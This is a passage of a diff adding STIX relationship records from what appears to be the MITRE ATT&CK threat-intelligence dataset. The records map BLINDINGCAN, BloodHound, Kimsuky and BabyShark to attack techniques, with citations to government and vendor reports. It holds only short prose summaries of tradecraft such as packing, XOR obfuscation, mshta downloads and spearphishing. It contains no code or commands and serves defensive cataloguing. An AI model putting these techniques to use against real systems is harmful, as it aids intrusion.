"source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used AES and XOR to decrypt its DLLs.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--ea027248-40a2-403b-a0e9-748bdc8c5667", + "type": "relationship", + "modified": "2020-10-27T19:26:38.248Z", + "created": "2020-10-27T19:26:38.248Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been packed with the UPX packer.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--75d297b3-bd2e-4815-9c28-649f7f1d4a62", + "type": "relationship", + "modified": "2020-10-27T19:26:38.292Z", + "created": "2020-10-27T19:26:38.292Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has downloaded files to a victim machine.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--1c33c9cd-afac-490a-b487-bd97c93a14cc", + "type": "relationship", + "modified": "2020-11-09T21:54:39.179Z", + "created": "2020-10-27T19:26:38.329Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used HTTPS over port 443 for command and control.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--1909b21c-27c1-480b-a550-374af83c47dd", + "type": "relationship", + "modified": "2020-10-27T19:26:38.365Z", + "created": "2020-10-27T19:26:38.365Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has lured victims into executing malicious macros embedded within Microsoft Office documents.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--a3b44434-d499-4c30-b42d-7bb0f6b4bfc4", + "type": "relationship", + "modified": "2020-10-27T19:26:38.558Z", + "created": "2020-10-27T19:26:38.558Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "target_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--d927e540-e6b8-4ddb-8652-cd510fe285ed", + "type": "relationship", + "modified": "2020-10-27T20:09:13.111Z", + "created": "2020-10-27T20:09:13.111Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain users, including identification of domain admin accounts.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--4e2594cc-f6e0-4153-b878-930bc03fc0ad", + "type": "relationship", + "modified": "2020-11-24T20:07:19.226Z", + "created": "2020-10-28T13:08:39.054Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can use PowerShell to pull Active Directory information from the target environment.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--a62885f2-38a3-4030-b28d-bff5b3d692df", + "type": "relationship", + "modified": "2020-10-28T13:08:39.121Z", + "created": "2020-10-28T13:08:39.121Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) has the ability to map domain trusts and identify misconfigurations for potential abuse.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--a79a17c4-02d1-463f-ac0a-d62b20d10b2f", + "type": "relationship", + "modified": "2020-11-24T20:07:19.298Z", + "created": "2020-10-28T13:16:12.380Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can identify users with local administrator rights.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--63895b27-aeba-4001-8039-b7b1bc41f8fc", + "type": "relationship", + "modified": "2020-11-19T21:05:19.165Z", + "created": "2020-10-28T13:16:12.446Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "external_references": [ + { + "source_name": "Cycraft Chimera April 2020", + "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + } + ], + "description": "(Citation: Cycraft Chimera April 2020)", + "relationship_type": "uses", + "id": "relationship--5db02c00-0d28-4831-bad9-66737bb62eca", + "type": "relationship", + "modified": "2020-10-28T13:37:51.917Z", + "created": "2020-10-28T13:37:51.917Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + }, + { + "source_name": "Zdnet Kimsuky Group September 2020", + "url": "https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/", + "description": "Cimpanu, C. (2020, September 30). North Korea has tried to hack 11 officials of the UN Security Council. Retrieved November 4, 2020." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has registered domains to spoof targeted organizations and trusted third parties.(Citation: ThreatConnect Kimsuky September 2020)(Citation: Zdnet Kimsuky Group September 2020)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--5f601200-9fcd-44b7-96c2-5a2a1daea489", + "type": "relationship", + "modified": "2020-11-06T18:52:33.486Z", + "created": "2020-10-30T20:07:37.959Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has signed files with the name EGIS CO,. Ltd..(Citation: ThreatConnect Kimsuky September 2020)", + "relationship_type": "uses", + "id": "relationship--237b3167-feb7-4b28-990d-d810fe99a23b", + "type": "relationship", + "modified": "2020-10-30T20:08:32.674Z", + "created": "2020-10-30T20:08:32.674Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + }, + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Visual Basic to download malicious payloads.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--ee4701f6-e4a5-41c8-ab72-118aead20a76", + "type": "relationship", + "modified": "2020-12-22T17:59:54.543Z", + "created": "2020-10-30T20:09:23.032Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + }, + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used attempted to lure victims into opening malicious e-mail attachments.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--0e37d046-454c-4463-b27f-f348ef6f817e", + "type": "relationship", + "modified": "2020-11-06T18:52:33.511Z", + "created": "2020-10-30T20:13:40.358Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + }, + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obfuscated binary strings including the use of XOR encryption and Base64 encoding.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)", + "relationship_type": "uses", + "id": "relationship--a17d1fee-c44e-4e38-85be-68e7dff9d69c", + "type": "relationship", + "modified": "2020-11-02T19:33:14.626Z", + "created": "2020-10-30T20:14:36.036Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", + "external_references": [ + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) created and used a mailing toolkit to use in spearphishing attacks.(Citation: VirusBulletin Kimsuky October 2019)", + "relationship_type": "uses", + "id": "relationship--2098e2bc-2b20-463a-9862-20fe68268cfc", + "type": "relationship", + "modified": "2020-11-02T19:03:11.902Z", + "created": "2020-11-02T19:03:11.902Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "external_references": [ + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used links in e-mail to steal account information.(Citation: VirusBulletin Kimsuky October 2019)", + "relationship_type": "uses", + "id": "relationship--7d101f53-3b5a-467a-aeb8-172cd77e92ce", + "type": "relationship", + "modified": "2020-11-02T19:03:11.933Z", + "created": "2020-11-02T19:03:11.933Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "external_references": [ + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has compromised web portal email accounts to send spearphishing e-mails.(Citation: VirusBulletin Kimsuky October 2019)", + "relationship_type": "uses", + "id": "relationship--78073196-9fea-4d84-a457-6b51afb71ed1", + "type": "relationship", + "modified": "2020-11-02T19:03:11.924Z", + "created": "2020-11-02T19:03:11.924Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "external_references": [ + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used FTP to download additional malware to the target machine.(Citation: VirusBulletin Kimsuky October 2019)", + "relationship_type": "uses", + "id": "relationship--eabe052b-cecc-4d80-92c9-150e8c8dbcdd", + "type": "relationship", + "modified": "2020-11-02T19:33:14.168Z", + "created": "2020-11-02T19:33:14.167Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "external_references": [ + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used JScript for logging and downloading additional tools.(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--98b90b49-f152-4eb5-8bb7-3b6c68bf9646", + "type": "relationship", + "modified": "2020-11-05T15:54:26.385Z", + "created": "2020-11-02T19:33:14.206Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--fba9610f-dbaa-4ded-b233-9229b80809ab", + "type": "relationship", + "modified": "2020-12-22T17:50:09.547Z", + "created": "2020-11-04T15:14:21.190Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has the ability to decode downloaded files prior to execution.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--843aedaa-bbf0-4f29-bcfd-bd226ca7ef31", + "type": "relationship", + "modified": "2020-11-04T16:54:47.475Z", + "created": "2020-11-04T16:54:47.475Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used mshta.exe to download and execute applications from a remote server.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--3759c775-300f-4981-9264-722ecf97aa64", + "type": "relationship", + "modified": "2020-11-04T16:54:47.538Z", + "created": "2020-11-04T16:54:47.538Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has disguised services to appear as benign software or related to operating system functions.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--2447ac98-019d-40a9-8913-c97d6eb93d90", + "type": "relationship", + "modified": "2020-12-15T16:32:03.323Z", + "created": "2020-11-05T14:39:22.872Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RDP to establish persistence.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--9655304e-7bdb-4375-8789-2bfecc5b0a64", + "type": "relationship", + "modified": "2021-04-22T13:24:39.423Z", + "created": "2020-11-05T14:39:22.935Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 